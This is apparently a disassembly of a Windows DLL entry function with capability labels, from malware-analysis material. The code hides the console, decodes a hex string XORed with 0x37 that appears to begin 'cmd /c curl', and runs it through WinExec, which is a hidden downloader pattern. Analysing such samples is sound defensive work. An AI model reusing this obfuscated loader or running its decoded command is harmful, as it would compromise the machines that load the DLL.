Function at 0x180001000
Capabilities:
Create process on windows
Encode data using xor
Parse pe header

Disassembly:
push rdi
sub rsp, 0x230
mov rax, qword [0x180020080]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, rcx
test edx, edx
je 0x1800011ff
cmp edx, 1
jne 0x180001211
mov qword [rsp + 0x248], rbx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x18000104d
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x200
call fcn.180013d60
lea r9, [rsp + 0x20]
lea r8, str.545a53171854175442455b171a7b171a58177145565a526058455c19524f5217155f4343470d181856475e1950045b5b0445431954585a18404f465b5c5d4046455e5c464051450618405d4d505152060604054f0307404f5118424452450518644352470568535840595b585653524519524f521517111117444356454317740d6b605e59535840446b644e4443525a04056b7145565a526058455c19524f52
nop dword [rax + rax]
movzx edx, byte [r8 + 1]
test dl, dl
je 0x1800010d8
movzx eax, byte [r8]
lea ecx, [rax - 0x30]
cmp cl, 9
jbe 0x18000109f
lea ecx, [rax - 0x61]
cmp cl, 5
ja 0x180001091
sub al, 0x57
jmp 0x18000109f
lea ecx, [rax - 0x41]
cmp cl, 5
ja 0x18000109d
sub al, 0x37
jmp 0x18000109f
mov al, 0xff
lea ecx, [rdx - 0x30]
cmp cl, 9
jbe 0x1800010c3
lea ecx, [rdx - 0x61]
cmp cl, 5
ja 0x1800010b4
lea ecx, [rdx - 0x57]
jmp 0x1800010c3
lea ecx, [rdx - 0x41]
cmp cl, 5
ja 0x1800010c1
lea ecx, [rdx - 0x37]
jmp 0x1800010c3
mov cl, 0xff
shl al, 4
add r8, 2
or al, cl
mov byte [r9], al
inc r9
cmp byte [r8], 0
jne 0x180001070
lea rax, [rsp + 0x20]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x1800010e4
xor ebx, ebx
mov r8d, ebx
test ecx, ecx
jle 0x18000117b
cmp ecx, 0x40
jb 0x18000117b
mov edx, ecx
and edx, 0x8000003f
jge 0x180001110
dec edx
or edx, 0xffffffc0
inc edx
movdqa xmm2, xmmword [str.7777777777777777_]
mov eax, ecx
sub eax, edx
movsxd rdx, eax
mov rax, rbx
movdqu xmm0, xmmword [rsp + rax + 0x20]
add r8d, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsp + rax + 0x20], xmm1
movdqu xmm0, xmmword [rsp + rax + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsp + rax + 0x30], xmm1
movdqu xmm0, xmmword [rsp + rax + 0x40]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsp + rax + 0x40], xmm1
movdqu xmm0, xmmword [rsp + rax + 0x50]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsp + rax + 0x50], xmm1
add rax, 0x40
cmp rax, rdx
jl 0x180001122
movsxd rax, r8d
movsxd rdx, ecx
cmp rax, rdx
jge 0x18000119d
nop word [rax + rax]
xor byte [rsp + rax + 0x20], 0x37
inc rax
cmp rax, rdx
jl 0x180001190
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, 0x5a4d
mov qword [0x180021c08], rdi
cmp word [rdi], ax
jne 0x1800011f3
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1800011f3
mov ecx, 0x20b
cmp word [rax + rdi + 0x18], cx
jne 0x1800011f3
mov eax, dword [rax + rdi + 0x88]
mov ebx, 1
add rax, rdi
mov qword [0x180021c10], rax
mov eax, ebx
mov rbx, qword [rsp + 0x248]
jmp 0x180001216
test r8, r8
jne 0x180001211
mov rcx, qword [0x180021c18]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.1800019a0
add rsp, 0x230
pop rdi
ret